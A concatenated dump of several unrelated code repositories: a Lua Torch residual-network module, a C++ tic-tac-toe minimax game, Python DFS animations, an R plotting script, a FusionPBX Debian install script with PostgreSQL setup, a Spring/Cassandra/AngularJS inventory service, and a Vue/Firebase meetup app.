return service.getProduct(id);
}
/**
cache using invoice id
*/
@Cacheable
@RequestMapping(value = "/products/invoice/{id}", method = RequestMethod.GET)
public List<Product> getProductsByInvoiceId(@PathVariable int id) {
return service.getProductsByInvoiceId(id);
}
}
| fbc8fd6715266acc0365b05a55290b0d05a4ddc1 | [
"Markdown",
"Java",
"INI"
] | 18 | Java | GameStore-org/Cloud-Native-Game-Store-Project | 5b03107ab322839f86367ac7a91657cd5b56de9d | b491497aba0d37e33e7e8503963b2ad06e2e6c7c |
refs/heads/master | <file_sep>local function shortcut(nInputPlane, nOutputPlane, stride)
assert(nOutputPlane >= nInputPlane)
if stride == 1 and nInputPlane == nOutputPlane then
return nn.Identity()
else
-- Strided, zero-padded identity shortcut
return nn.SpatialConvolution(nInputPlane, nOutputPlane, 1, 1, stride, stride, 0, 0)
end
end
local BasicResidualModule, Parent = torch.class('nn.BasicResidualModule', 'nn.Decorator')
function BasicResidualModule:__init(nInputPlane, n, stride, dropout)
self.nInputPlane = nInputPlane
self.n = n
self.stride = stride or 1
self.dropout = dropout or 0
self.module = nn.Sequential()
self.block = nn.Sequential()
local m = nInputPlane == n and self.block or self.module
m:add(nn.SpatialBatchNormalization(nInputPlane)):add(nn.ReLU(true))
self.block:add(nn.SpatialConvolution(nInputPlane, n, 3, 3, stride, stride, 1, 1):noBias())
self.block:add(nn.SpatialBatchNormalization(n)):add(nn.ReLU(true))
if self.dropout ~= 0 then
self.block:add(nn.Dropout(self.dropout))
end
self.block:add(nn.SpatialConvolution(n, n, 3, 3, 1, 1, 1, 1):noBias())
self.shortcut = shortcut(nInputPlane, n, stride)
self.module:add(nn.ConcatTable():add(self.block):add(self.shortcut))
self.module:add(nn.CAddTable(true))
Parent.__init(self, self.module)
end
function BasicResidualModule:__tostring__()
return string.format('%s(%d, %d, %d)', torch.type(self), self.nInputPlane, self.n, self.stride)
end
local BottleneckResidualModule, Parent = torch.class('nn.BottleneckResidualModule', 'nn.Decorator')
function BottleneckResidualModule:__init(nInputPlane, nSqueeze, nExpand, stride, dropout)
self.nInputPlane = nInputPlane
self.nSqueeze = nSqueeze
self.nExpand = nExpand
self.stride = stride or 1
self.dropout = dropout or 0
self.module = nn.Sequential()
self.block = nn.Sequential()
local m = nInputPlane == nExpand and self.block or self.module
m:add(nn.SpatialBatchNormalization(nInputPlane)):add(nn.ReLU(true))
self.block:add(nn.SpatialConvolution(nInputPlane, nSqueeze, 1, 1, 1, 1):noBias())
self.block:add(nn.SpatialBatchNormalization(nSqueeze)):add(nn.ReLU(true))
if self.dropout ~= 0 then
self.block:add(nn.Dropout(self.dropout))
end
self.block:add(nn.SpatialConvolution(nSqueeze, nSqueeze, 3, 3, stride, stride, 1, 1):noBias())
self.block:add(nn.SpatialBatchNormalization(nSqueeze)):add(nn.ReLU(true))
self.block:add(nn.SpatialConvolution(nSqueeze, nExpand, 1, 1, 1, 1):noBias())
self.shortcut = shortcut(nInputPlane, nExpand, stride)
self.module:add(nn.ConcatTable():add(self.block):add(self.shortcut))
self.module:add(nn.CAddTable(true))
Parent.__init(self, self.module)
end
function BottleneckResidualModule:__tostring__()
return string.format('%s(%d, %d, %d, %d)', torch.type(self), self.nInputPlane, self.nSqueeze, self.nExpand, self.stride)
end
local FireResidualModule, Parent = torch.class('nn.FireResidualModule', 'nn.Decorator')
function FireResidualModule:__init(nInputPlane, s1x1, e1x1, e3x3, stride)
self.nInputPlane = nInputPlane
self.s1x1 = s1x1
self.e1x1 = e1x1
self.e3x3 = e3x3
self.stride = stride or 1
local fireModule = nn.FireModule(nInputPlane, s1x1, e1x1, e3x3)
local m = fireModule.modules[1]
assert(torch.type(m.modules[#m.modules]) == 'nn.ReLU')
m:remove()
assert(torch.type(m.modules[#m.modules]) == 'nn.SpatialBatchNormalization')
m:remove()
self.module = nn.Sequential()
self.block = nn.Sequential()
m = nInputPlane == e1x1+e3x3 and self.block or self.module
m:add(nn.SpatialBatchNormalization(nInputPlane)):add(nn.ReLU(true))
self.block:add(fireModule)
if self.stride > 1 then
self.block:add(nn.SpatialMaxPooling(3, 3, stride, stride, 1, 1))
end
self.shortcut = shortcut(nInputPlane, e1x1+e3x3, stride)
self.module:add(nn.ConcatTable():add(self.block):add(self.shortcut))
self.module:add(nn.CAddTable(true))
Parent.__init(self, self.module)
end
function FireResidualModule:__tostring__()
return string.format('%s(%d, %d, %d, %d, %d)', torch.type(self), self.nInputPlane, self.s1x1, self.e1x1, self.e3x3, self.stride)
end
| cfb064bdcb8757784e3f97411ffa54d80414a0a0 | [
"Lua"
] | 1 | Lua | jonathanasdf/dpnn | c6d7de6423fdf2dc4e22ce6e381cb8aee62b7ed0 | 90b1c549aec7eb23e47af7d798d4c405e79d136b |
refs/heads/master | <repo_name>gurusha01/specific-algos<file_sep>/tictactoe_minimax.cpp
#include<iostream>
using namespace std;
int board[3][3];
bool end_b()
{
for(int i=0;i<3;i++) for(int j=0;j<3;j++) if(board[i][j]==3) return false;
return true;
}
int board_value()
{
for (int row = 0; row<3; row++)
{
if (board[row][0]==board[row][1] &&
board[row][1]==board[row][2])
{
if (board[row][0]==1)
return +10;
else if (board[row][0]==0)
return -10;
}
}
for (int col = 0; col<3; col++)
{
if (board[0][col]==board[1][col] &&
board[1][col]==board[2][col])
{
if (board[0][col]==1)
return +10;
else if (board[0][col]==0)
return -10;
}
}
if (board[0][0]==board[1][1] && board[1][1]==board[2][2])
{
if (board[0][0]==1)
return +10;
else if (board[0][0]==0)
return -10;
}
if (board[0][2]==board[1][1] && board[1][1]==board[2][0])
{
if (board[0][2]==1)
return +10;
else if (board[0][2]==0)
return -10;
}
return 0;
}
int minimax(int depth,bool isMax)
{
int value=board_value();
if(value!=0)
return value;
if(end_b())
return 0;
if(isMax)
{
int b=-1000;
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
{
if(board[i][j]==3)
{
board[i][j]=1;
b=max(minimax(depth+1,false),b);
board[i][j]=3;
}
}
}
return b;
}
else
{
int b=1000;
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
{
if(board[i][j]==3)
{
board[i][j]=0;
b=min(minimax(depth+1,true),b);
board[i][j]=3;
}
}
}
return b;
}
}
string winner()
{
if(board_value()>0)
return "computer wins";
if(board_value()<0)
return "you win";
if(board_value()==0)
return "tie";
}
void bestmove()
{
int b=-1000;
pair<int,int>move;
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
{
if(board[i][j]==3)
{
board[i][j]=1;
int val=minimax(0,false);
board[i][j]=3;
if(val>b)
{
b=val;
move=make_pair(i,j);
}
}
}
}
board[move.first][move.second]=1;
}
int main()
{
for(int i=0;i<3;i++) for(int j=0;j<3;j++) board[i][j]=3;
int k=0,x,y;
while(!end_b() && board_value()==0)
{
if(k%2==0)
{
cout<<"your move: enter x,y \n";
cin>>x>>y;
board[x][y]=0;
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
cout<<board[i][j];
cout<<endl;
}
}
else
{
bestmove();
cout<<endl;
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
cout<<board[i][j];
cout<<endl;
}
}
k++;
}
cout<<"result :"<< winner();
}
<file_sep>/dfs animated/dfs_anim.py
import pygame as pg
import math
import random
from pygame import mixer
#drawing circle syntax: pg.draw.circle(screen,green,(100,100),20)
#pg.draw.circle(screen,color,coordinates,radius in pixels)
#basic setup code
pg.init()
screen=pg.display.set_mode((500,500))
pg.display.set_caption("dfs_animation")
mixer.music.load("mylove.mp3")
mixer.music.play(-1)
blue=(0,0,255)
green=(0,255,0)
red=(255,0,0)
graph = {'0': set(['1', '2']),
'1': set(['0', '3', '4']),
'2': set(['0']),
'3': set(['1']),
'4': set(['2', '3'])}
#nodes
nodex=[100,200,230,450,300]
nodey=[400,300,200,275,250]
no_nodes=5
visited = set()
def dfs(visited, graph, node):
if node not in visited:
for i in range(no_nodes):
x=nodex[i]
y=nodey[i]
if str(i) in visited:
color=red
else:
color=green
pg.draw.circle(screen,color,(x,y),20)
pg.display.update()
pg.time.delay(1000)
print (node)
visited.add(node)
for neighbour in graph[node]:
dfs(visited, graph, neighbour)
running=True
while(running):
screen.fill((0,0,0))
for i in range(no_nodes):
for n in graph [str(i)]:
point1=(nodex[i],nodey[i])
point2=(nodex[int(n)],nodey[int(n)])
pg.draw.line(screen, blue, point1, point2)
dfs(visited, graph, '0')
running=False
<file_sep>/dfs animated/dfs_animated.py
import pygame as pg
import math
import random
from pygame import mixer
#drawing circle syntax: pg.draw.circle(screen,green,(100,100),20)
#pg.draw.circle(screen,color,coordinates,radius in pixels)
#basic setup code
pg.init()
screen=pg.display.set_mode((500,500))
pg.display.set_caption("dfs_animation")
mixer.music.load("mylove.mp3")
mixer.music.play(-1)
blue=(0,0,255)
green=(0,255,0)
red=(255,0,0)
graph = {'0': set(['1']),
'1': set(['0', '2', '11']),
'2': set(['1','3','4']),
'3': set(['2']),
'4': set(['2', '5','14']),
'5': set(['4', '7','9']),
'6': set(['7']),
'7': set(['6','8','5']),
'8': set(['7']),
'9': set(['5', '16']),
'10': set(['14']),
'11': set(['1', '13', '12']),
'12': set(['11']),
'13': set(['11']),
'14': set(['10', '4']),
'15': set(['16']),
'16': set([ '9', '15'])
}
#nodes
nodex=[25,100,150,200,200,250,150,200,250,300,400,75,100,50,350,300,350]
nodey=[50,50,100,150,100,150,150,200,250,250,400,100,200,200,200,400,300]
no_nodes=17
visited = set()
def dfs(visited, graph, node):
if node not in visited:
for i in range(no_nodes):
x=nodex[i]
y=nodey[i]
if str(i) in visited:
color=red
else:
color=green
pg.draw.circle(screen,color,(x,y),20)
pg.display.update()
pg.time.delay(1000)
print (node)
visited.add(node)
for neighbour in graph[node]:
dfs(visited, graph, neighbour)
running=True
while(running):
screen.fill((0,0,0))
for i in range(no_nodes):
for n in graph [str(i)]:
point1=(nodex[i],nodey[i])
point2=(nodex[int(n)],nodey[int(n)])
pg.draw.line(screen, blue, point1, point2)
dfs(visited, graph, '0')
for i in range(no_nodes):
x=nodex[i]
y=nodey[i]
if str(i) in visited:
color=red
else:
color=green
pg.draw.circle(screen,color,(x,y),20)
pg.display.update()
pg.time.delay(1000)
running=False
<file_sep>/README.md
# specific-algos
this repository contains a bunch of algorithms , their codes in python, sml, c++ and perhaps some inj ava too just to help the budding programmers
| 2b962af055f88af50a319cc11e5a8e43b518f96f | [
"Markdown",
"Python",
"C++"
] | 4 | C++ | gurusha01/specific-algos | 5ed1f2ade8b96e1d107a190153f5dba001c006b6 | 5da3b2f138a86d2b0a2b6cb17f572037e156d507 |
refs/heads/master | <file_sep>dat2020<-read.csv('F:\\intern\\snapshot2020.csv')
library(dplyr)
dat20=filter(dat2020,code>=1&channel_no!='channel')
dat20time<-dat20[!duplicated(dat20$update_time),]
dat20tQ<-matrix(1:nrow(dat20time)*2,nrow(dat20time),2)
dat20tQ[,1]=dat20time$update_time
dat20tQ[,2]=dat20time$total_volume
i=1
j=1
n=nrow(dat20)
while (i<=n) {
if(dat20[i,3]==dat20tQ[j,1]){
dat20tQ[j,2]<-dat20tQ[j,2]+dat20[i,5]
i<-i+1
}
else
{j<-j+1}
}
plot(x=(dat20tQ[,1]-dat20tQ[1,1])/1000/3600,y=dat20tQ[,2],type='l',
col='blue',main='快照时间流量变化图20200722',
xlab = 'Update_time',ylab ='total volume',lwd=2)
channelflow=filter(dat18,total_volume>0&update_time<100800000)
channelflow$channel_no=as.numeric(channelflow$channel_no)
channelflow<-channelflow[order(channelflow$channel_no),]
channelnum=channelflow[!duplicated(channelflow$channel_no),]
i=1
j=1
channelflown<-dat18[order(dat18$channel_no),]
n=nrow(channelflown)
channelnum$num_trades<-0
channelnum$total_volume<-0
while(i<=n){
if(channelflown[i,1]==channelnum[j,1]){
channelnum[j,5]<-channelnum[j,5]+1
channelnum[j,4]<-channelnum[j,4]+1
i<-i+1
}
else j<-j+1
}
library(ggplot2)
channelnum$channel_no=as.character(channelnum$channel_no)
q<-ggplot(channelnum,aes(x=channel_no,y=total_volume))
q<-q+geom_bar(stat='identity')+xlab('channelNO')+ylab('18年部分总流量')
<file_sep># helloworld
This is my first time to learn about how to use github. It may be an IBM code.
核心企业就一家,很强势,所以要采取一些制衡。这是区块链的意义
| ed3015c9e6c63d730f7dec017591968bf99cd7b7 | [
"Markdown",
"R"
] | 2 | R | yaominssss/helloworld | 88528ba78e378c57a42a25bee0b1ed5f45f8c909 | 337c1894a4b0d04b2882c45414fe74045b41f85a |
refs/heads/master | <file_sep>cassandra.contactpoints=192.168.3.11
cassandra.port=9042
cassandra.keyspace=rea_poc
cassandra.username=cassandra
cassandra.password=<PASSWORD><file_sep>/**
* Created by Sankar on 4/24/2015.
*/
angular.module('rea-otl', [
'ui.router',
'placeholders',
'ui.bootstrap',
'ngResource',
'rea-services',
'smart-table'
])
.config(function config($stateProvider) {
$stateProvider.state('otl', {
url: '/otl',
views: {
"main": {
controller: 'OtlCrtl',
templateUrl: 'otl/otl.tpl.html'
}
},
data: {pageTitle: 'Otl'}
});
})
.controller('OtlCrtl', function ($http, $scope, $state,otlService) {
/* $scope.flag = true;*/
/* Below $scope.getAllYears is cloned across multiple scripts */
$scope.getOtlList = function (dept,clas,item) {
$scope.deptId = dept;
$scope.clasId = clas;
$scope.itemId = item;
$scope.otlList = [];
var getOtl = otlService.get({deptId: dept, clasId: clas, itemId: item}).$promise;
getOtl.then(function onSuccess(response) {
$scope.otlList = response.otlList;
$scope.displayedCollection = [].concat($scope.otlList);
},
function onFail(response) {
console.log("It is failed");
console.log(response);
});
};
$scope.disableCheck = function(newDept,newClas,newItem){
console.log(newDept);
if(angular.isUndefined(newDept)){
$scope.flag = true;
console.log("undefined");
}
if(angular.isString(newDept)){
$scope.flag = true;
console.log("String");
console.log(value);
if(angular.isNumber(newDept)){
$scope.flag = false;
console.log("number");
}
}
};
/*Below functions belongs to Calendar */
$scope.today = function () {
$scope.dt = new Date();
};
$scope.today();
$scope.clear = function () {
$scope.dt = null;
};
$scope.disabled = function (date, mode) {
/* return ( mode === 'day' && ( date.getDay() === 0 || date.getDay() === 6 ) );*/
return false;
};
$scope.open = function ($event) {
$event.preventDefault();
$event.stopPropagation();
};
$scope.dateOptions = {
formatYear: 'yy',
startingDay: 1
};
})
;<file_sep>package repo;
import Entity.ReaOTL;
import org.springframework.data.cassandra.repository.CassandraRepository;
import org.springframework.data.cassandra.repository.Query;
import org.springframework.data.repository.query.Param;
import org.springframework.stereotype.Component;
import java.util.List;
@Component
public interface ReaDao extends CassandraRepository<ReaOTL> {
@Query("Select * from rea_poc_load2 where dept_i = ?0 and class_i = ?1 and item_i = ?2")
List<ReaOTL> findOtlItem(@Param("dept") Integer dept,@Param("clas") Integer clas,
@Param("item") Integer item);
@Query("Select * from rea_poc_load2 where dept_i = ?0 and class_i = ?1")
List<ReaOTL> findOtlClas(@Param("dept") Integer dept,
@Param("clas") Integer clas);
@Query("Select * from rea_poc_load2 where dept_i = ?0")
List<ReaOTL> findOtlDept(@Param("dept") Integer dept);
}<file_sep>package Entity;
import org.springframework.cassandra.core.PrimaryKeyType;
import org.springframework.data.cassandra.mapping.PrimaryKeyClass;
import org.springframework.data.cassandra.mapping.PrimaryKeyColumn;
import java.io.Serializable;
/**
* Created by A513915 on 7/30/2015.
*/
@PrimaryKeyClass
public class ReaOtlPrimaryKey implements Serializable{
@PrimaryKeyColumn(name="dept_i",ordinal = 0,type= PrimaryKeyType.PARTITIONED)
private Integer deptId;
@PrimaryKeyColumn(name="class_i",ordinal = 1,type= PrimaryKeyType.PARTITIONED)
private Integer classId;
@PrimaryKeyColumn(name="item_i",ordinal = 2,type= PrimaryKeyType.PARTITIONED)
private Integer itemId;
@PrimaryKeyColumn(name="loc_i",ordinal = 3,type= PrimaryKeyType.PARTITIONED)
private Integer storeId;
public Integer getDeptId() {
return deptId;
}
public void setDeptId(Integer deptId) {
this.deptId = deptId;
}
public Integer getClassId() {
return classId;
}
public void setClassId(Integer classId) {
this.classId = classId;
}
public Integer getItemId() {
return itemId;
}
public void setItemId(Integer itemId) {
this.itemId = itemId;
}
public Integer getStoreId() {
return storeId;
}
public void setStoreId(Integer storeId) {
this.storeId = storeId;
}
}
<file_sep>angular.module('rea-services', [
'ui.router',
'placeholders',
'ui.bootstrap',
'ngResource'
])
.factory('otlService', function ($resource) {
return $resource("/ReaPOC/resources/otl/:deptId/:clasId/:itemId", {}, {
'delete': {method: 'DELETE'},
'update': {method: 'UPDATE'},
'get': {method: 'GET'}
});
})
;<file_sep>package Entity;
import org.springframework.context.annotation.Primary;
import org.springframework.data.cassandra.mapping.Column;
import org.springframework.data.cassandra.mapping.PrimaryKey;
import org.springframework.data.cassandra.mapping.Table;
/**
* Created by A513915 on 7/29/2015.
*/
@Table(value = "rea_poc_load2")
public class ReaOTL {
@PrimaryKey
private ReaOtlPrimaryKey primaryKey;
@Column( value= "dd_q")
private float ddQty;
@Column(value = "bi_q")
private float biQty;
@Column(value = "otl_q")
private float otlQty;
@Column(value = "pbi_q")
private float pbiQty;
@Column(value = "oh_q")
private float ohQty;
@Column(value = "oo_q")
private float ooQty;
@Column(value = "ow_q")
private float owQty;
@Column(value = "lib_q")
private float libQty;
@Column(value = "tran_q")
private float tranQty;
@Column(value = "src_node")
private float srcNode;
public ReaOtlPrimaryKey getPrimaryKey() {
return primaryKey;
}
public void setPrimaryKey(ReaOtlPrimaryKey primaryKey) {
this.primaryKey = primaryKey;
}
public float getDdQty() {
return ddQty;
}
public void setDdQty(float ddQty) {
this.ddQty = ddQty;
}
public float getBiQty() {
return biQty;
}
public void setBiQty(float biQty) {
this.biQty = biQty;
}
public float getPbiQty() {
return pbiQty;
}
public void setPbiQty(float pbiQty) {
this.pbiQty = pbiQty;
}
public float getOtlQty(){
return otlQty;
}
public void setOtlQty(float otlQty) {
this.otlQty = otlQty;
}
public float getOhQty() {
return ohQty;
}
public void setOhQty(float ohQty) {
this.ohQty = ohQty;
}
public float getOoQty() {
return ooQty;
}
public void setOoQty(float ooQty) {
this.ooQty = ooQty;
}
public float getOwQty() {
return owQty;
}
public void setOwQty(float owQty) {
this.owQty = owQty;
}
public float getLibQty() {
return libQty;
}
public void setLibQty(float libQty) {
this.libQty = libQty;
}
public float getTranQty() {
return tranQty;
}
public void setTranQty(float tranQty) {
this.tranQty = tranQty;
}
public float getSrcNode() {
return srcNode;
}
public void setSrcNode(float srcNode) {
this.srcNode = srcNode;
}
}
<file_sep>package Entity;
import java.util.ArrayList;
import java.util.List;
/**
* Created by A513915 on 7/30/2015.
*/
public class ReaOtlList {
List<ReaOTL> reaOtlList = new ArrayList<ReaOTL>();
public List<ReaOTL> getReaOtlList() {
return reaOtlList;
}
public void setReaOtlList(List<ReaOTL> reaOtlList) {
this.reaOtlList = reaOtlList;
}
}
<file_sep>package controller;
import Entity.ReaOTL;
import Entity.ReaOtlList;
import Hateoas.Assembler.OtlListResourceAsm;
import Hateoas.OtlListResource;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import repo.ReaDao;
import java.util.List;
@Controller
@RequestMapping(value = "/resources/otl")
public class OtlController {
@Autowired
private ReaDao reaDao;
/*Below method to get all otl associated with DPCI */
@RequestMapping(value= "/{dept}/{class}/{item}", method= RequestMethod.GET)
public ResponseEntity<OtlListResource> getAllOtl(@PathVariable("dept") Integer dept, @PathVariable("class") Integer
clas,@PathVariable("item") Integer item) {
ReaOtlList reaOtlList = new ReaOtlList();
System.out.println("entered to controller");
System.out.println(clas);
reaOtlList.setReaOtlList(reaDao.findOtlItem(dept, clas, item));
List<ReaOTL> reaotl = reaOtlList.getReaOtlList();
OtlListResource res = null;
if(reaOtlList != null) {
res = new OtlListResourceAsm().toResource(reaOtlList);
}
return new ResponseEntity<OtlListResource>(res, HttpStatus.OK);
}
@RequestMapping(value= "/{dept}/{class}", method= RequestMethod.GET)
public ResponseEntity<OtlListResource> getAllOtl(@PathVariable("dept") Integer dept, @PathVariable("class") Integer
clas) {
ReaOtlList reaOtlList = new ReaOtlList();
System.out.println("entered to controller");
reaOtlList.setReaOtlList(reaDao.findOtlClas(dept, clas));
List<ReaOTL> reaotl = reaOtlList.getReaOtlList();
OtlListResource res = null;
if(reaOtlList != null) {
res = new OtlListResourceAsm().toResource(reaOtlList);
}
return new ResponseEntity<OtlListResource>(res, HttpStatus.OK);
}
@RequestMapping(value= "/{dept}", method= RequestMethod.GET)
public ResponseEntity<OtlListResource> getAllOtl(@PathVariable("dept") Integer dept) {
ReaOtlList reaOtlList = new ReaOtlList();
reaOtlList.setReaOtlList(reaDao.findOtlDept(dept));
List<ReaOTL> reaotl = reaOtlList.getReaOtlList();
OtlListResource res = null;
if(reaOtlList != null) {
res = new OtlListResourceAsm().toResource(reaOtlList);
}
return new ResponseEntity<OtlListResource>(res, HttpStatus.OK);
}
}
<file_sep>angular.module('ngBoilerplate', [
'templates-app',
'templates-common',
'ngBoilerplate.home',
'ui.router',
'ngResource',
'underscore',
'smart-table',
'rea-otl'
])
.config(function myAppConfig($stateProvider, $urlRouterProvider) {
$urlRouterProvider.otherwise('/home');
})
.run(function run() {
})
.controller('AppCtrl', function AppCtrl($scope) {
$scope.$on('$stateChangeSuccess', function (event, toState) {
if (angular.isDefined(toState.data.pageTitle)) {
$scope.pageTitle = toState.data.pageTitle + ' | REA POC ';
}
});
})
;
var underscore = angular.module('underscore', []);
underscore.factory('_', function() {
return window._; // assumes underscore has already been loaded on the page
});
| 4e0093813a31899aecb771842810c4ede615d0f9 | [
"JavaScript",
"Java",
"INI"
] | 9 | INI | ervbsankar/ReaPoc | adb05aa11478e126d2ddbdb6baead742731ef778 | 5b8370dbbb11d6b4ad6a1b55300463485d792cbe |
refs/heads/master | <file_sep>#!/bin/sh
#Process command line options
OPTS=`getopt -n 'install.sh' -o h -l help,use-freeswitch-source,use-freeswitch-package-all,use-freeswitch-master,use-freeswitch-package-unofficial-arm -- "$@"`
eval set -- "$OPTS"
if [ $? != 0 ] ; then echo "Failed parsing options." >&2 ; exit 1 ; fi
export USE_FREESWITCH_SOURCE=false
export USE_FREESWITCH_PACKAGE_ALL=false
export USE_FREESWITCH_PACKAGE_UNOFFICIAL_ARM=false
export USE_FREESWITCH_MASTER=false
HELP=false
while true; do
case "$1" in
--use-freeswitch-source ) export USE_FREESWITCH_SOURCE=true; shift ;;
--use-freeswitch-package-all ) export USE_FREESWITCH_PACKAGE_ALL=true; shift ;;
--use-freeswitch-package-unofficial-arm ) export USE_FREESWITCH_PACKAGE_UNOFFICIAL_ARM=true; shift ;;
--use-freeswitch-master ) export USE_FREESWITCH_MASTER=true; shift ;;
-h | --help ) HELP=true; shift ;;
-- ) shift; break ;;
* ) break ;;
esac
done
if [ $HELP = true ]; then
echo "Debian installer script"
echo " --use-freeswitch-source will use freeswitch from source rather than (default:packages)"
echo " --use-freeswitch-package-all if using packages use the meta-all package"
echo " --use-freeswitch-package-unofficial-arm if your system is arm and you are using packages, use the unofficial arm repo"
echo " --use-freeswitch-master will use master branch/packages instead of (default:stable)"
exit;
fi
#Update Debian
echo "Update Debian"
apt-get upgrade && apt-get update -y --force-yes
#IPTables
resources/iptables.sh
#FusionPBX
resources/fusionpbx.sh
#NGINX web server
resources/nginx.sh
#Fail2ban
resources/fail2ban.sh
#FreeSWITCH
if [ $USE_FREESWITCH_SOURCE = true ]; then
if [ $USE_FREESWITCH_MASTER = true ]; then
resources/switch/source-master.sh
else
resources/switch/source-release.sh
fi
resources/switch/source-permissions.sh
else
if [ $USE_FREESWITCH_MASER = true ]; then
if [ $USE_FREESWITCH_PACKAGE_ALL = true ]; then
resources/switch/package-master-all.sh
else
resources/switch/package-master.sh
fi
else
if [ $USE_FREESWITCH_PACKAGE_ALL = true ]; then
resources/switch/package-all.sh
else
resources/switch/package-release.sh
fi
fi
resources/switch/package-permissions.sh
fi
#Postgres
resources/postgres.sh
#set the ip address
server_address=$(hostname -I)
#restart services
/bin/systemctl daemon-reload
/bin/systemctl try-restart freeswitch
/bin/systemctl daemon-reload
/bin/systemctl restart php5-fpm
/bin/systemctl restart nginx
/bin/systemctl restart fail2ban
#Show database password
echo "Complete the install by by going to the IP address of this server ";
echo "in your web browser or with a domain name for this server.";
echo " https://$server_address"
echo ""
echo ""
#wait for the config.php to exist and then restart the service
#resources/./finish.sh
<file_sep>#!/bin/sh
#send a message
echo "Install PostgreSQL"
#generate a random password
password=$(dd if=/dev/urandom bs=1 count=20 2>/dev/null | base64)
#Postgres
echo "Install PostgreSQL and create the database and users\n"
apt-get install -y --force-yes sudo postgresql
#systemd
/bin/systemctl daemon-reload
/bin/systemctl restart postgresql
#init.d
#/usr/sbin/service postgresql restart
#add the databases, users and grant permissions to them
sudo -u postgres psql -c "CREATE DATABASE fusionpbx";
sudo -u postgres psql -c "CREATE DATABASE freeswitch";
sudo -u postgres psql -c "CREATE ROLE fusionpbx WITH SUPERUSER LOGIN PASSWORD <PASSWORD>';"
sudo -u postgres psql -c "CREATE ROLE freeswitch WITH SUPERUSER LOGIN PASSWORD <PASSWORD>';"
sudo -u postgres psql -c "GRANT ALL PRIVILEGES ON DATABASE fusionpbx to fusionpbx;"
sudo -u postgres psql -c "GRANT ALL PRIVILEGES ON DATABASE freeswitch to fusionpbx;"
sudo -u postgres psql -c "GRANT ALL PRIVILEGES ON DATABASE freeswitch to freeswitch;"
#ALTER USER fusionpbx WITH PASSWORD '<PASSWORD>';
#set the ip address
server_address=$(hostname -I)
#Show database password
echo ""
echo ""
echo "PostgreSQL"
echo " Database name: fusionpbx"
echo " Database username: fusionpbx"
echo " Database password: <PASSWORD>"
echo ""
| 441601526226f91c3305ce7df9d815f4ff90dcb3 | [
"Shell"
] | 2 | Shell | astan24/fusionpbx-install.sh | 21d2c4e7586a740e4a9716470d9dabe2cd3bde32 | 8bc016d4174a83f68b48735602d6d350b51b9183 |
refs/heads/master | <repo_name>alexandracrisan/tree-backbone<file_sep>/README.md
# tree-backbone
<file_sep>/js/views/mainView.js
/**
* Created by alexandracrisan on 8/12/2015.
*/
window.SearchTree = window.SearchTree || {};
window.SearchTree.mainView = Backbone.View.extend({
el: '.container',
initialize: function(){
},
render: function(){
this.$el.html('<div id="search-field-container"></div><div id="tree"></div>');
this.input = new window.SearchTree.inputView({
model: window.SearchTree.instantiatedTreeModel
});
this.instantiatedTreeView = new window.SearchTree.treeView({
model: window.SearchTree.instantiatedTreeModel
});
this.input.render();
this.instantiatedTreeView.render();
}
});
<file_sep>/js/model/treeModel.js
/**
* Created by alexandracrisan on 8/4/2015.
*/
window.SearchTree = window.SearchTree || {};
window.SearchTree.treeModel = Backbone.Model.extend({
result: [],
filterTree: function(data, src){
var arrData = data;
for (var i = 0; i < arrData.length; i++) {
if (arrData[i].name.indexOf(src) >= 0) {
this.result.push(arrData[i]);
}
else {
if (arrData[i].hasOwnProperty('children')) {
this.filterTree(arrData[i].children, src);
}
}
}
},
filterByValue: function( src) {
this.filterTree(this.get('data'), src);
this.set('filteredData', this.result);
this.result = [];
}
});
<file_sep>/js/views/textView.js
/**
* Created by alexandracrisan on 8/12/2015.
*/
window.SearchTree = window.SearchTree || {};
window.SearchTree.testView = Backbone.View.extend({
el: '.container',
initialize: function(){
},
render: function() {
this.$el.html('<h1>Welcome to my test page</h1>');
}
});
<file_sep>/js/views/treeView.js
/**
* Created by alexandracrisan on 8/4/2015.
*/
window.SearchTree = window.SearchTree || {};
window.SearchTree.treeView = Backbone.View.extend({
el:'#tree',
events: {
},
list: function(data,parent){
var container = $('<ul></ul>');
for (var i = 0; i< data.length; i++){
var entry = data[i];
var li = $('<li></li>');
li.text(entry.name);
li.addClass('mdi mdi-file-outline');
container.append(li);
if(entry.hasOwnProperty('children')) {
li.addClass('mdi mdi-folder');
this.list(entry.children, li);
}
}
parent.append(container);
},
initialize: function() {
this.model.on('change:filteredData', this.render, this);
},
render: function() {
this.$el.empty();
this.$el.html(this.list(this.model.get('filteredData'), this.$el));
}
});
| b970256d7a34a235a040fc58aeb686b1707f5831 | [
"Markdown",
"JavaScript"
] | 5 | Markdown | alexandracrisan/tree-backbone | 1e6b0a82dc724664e343c47da0ff8e6f8737ff06 | c54c6ab8299382f2baed41c8c76fff6c0283e600 |
refs/heads/master | <repo_name>Reaper45/Meet-Ups<file_sep>/src/main.js
import Vue from 'vue'
import Vuetify from 'vuetify'
import VueResource from 'vue-resource'
import App from './App'
import router from './router'
import { store } from './store'
import DateFilter from './filters/date'
import * as firebase from 'firebase'
import Alert from './components/shared/Alert.vue'
import EditDialog from './components/meetup/EditMeetupDialog.vue'
import Loader from './components/meetup/partials/Loader.vue'
import Register from './components/user/Register.vue'
Vue.use(Vuetify)
Vue.use(VueResource)
Vue.config.productionTip = false
Vue.component('alert', Alert)
Vue.component('edit-dialog', EditDialog)
Vue.component('loader', Loader)
Vue.component('register-for-meetup', Register)
Vue.filter('date', DateFilter)
/* eslint-disable no-new */
new Vue({
el: '#app',
router,
store,
VueResource,
render: h => h(App),
created () {
firebase.initializeApp({
apiKey: '<KEY>',
authDomain: 'dev-meetups.firebaseapp.com',
databaseURL: 'https://dev-meetups.firebaseio.com',
projectId: 'dev-meetups',
storageBucket: 'dev-meetups.appspot.com'
})
firebase.auth().onAuthStateChanged((user) => {
if (user) {
this.$store.dispatch('autoLogin', user)
}
})
this.$store.dispatch('loadMeetups')
}
})
| b04de42154b508a4ef71fbd18c86e55619e80fbd | [
"JavaScript"
